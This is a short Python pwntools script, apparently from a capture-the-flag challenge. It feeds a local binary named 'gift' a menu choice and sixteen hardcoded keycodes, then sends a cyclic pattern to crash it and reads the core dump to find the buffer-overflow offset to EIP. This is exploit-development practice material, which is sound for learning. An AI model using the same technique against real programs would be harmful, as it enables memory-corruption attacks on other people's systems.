#!/usr/bin/python

from pwn import *

keycodes = [6419804, 7048451, 1, 5981939, 1809240, 3891630, 1, 2807850, 4265200, 4512418, 1, 5061300, 1303193, 7616025, 1, 6084938]


elf = context.binary = ELF("./gift")
#context.log_level = 'debug'

io = process(elf.path)
io.recvuntil(" > ")
io.sendline("666")

for x in range(16):
    io.recvuntil("Enter keycode %d: "%x)
    io.sendline(str(keycodes[x]))

print io.recv(4096)

io.sendline(cyclic(128))
io.wait()

core = io.corefile

####
eip = core.eip
info("eip = %#x", eip)

offset = cyclic_find(eip)
info("offset = %d", offset)


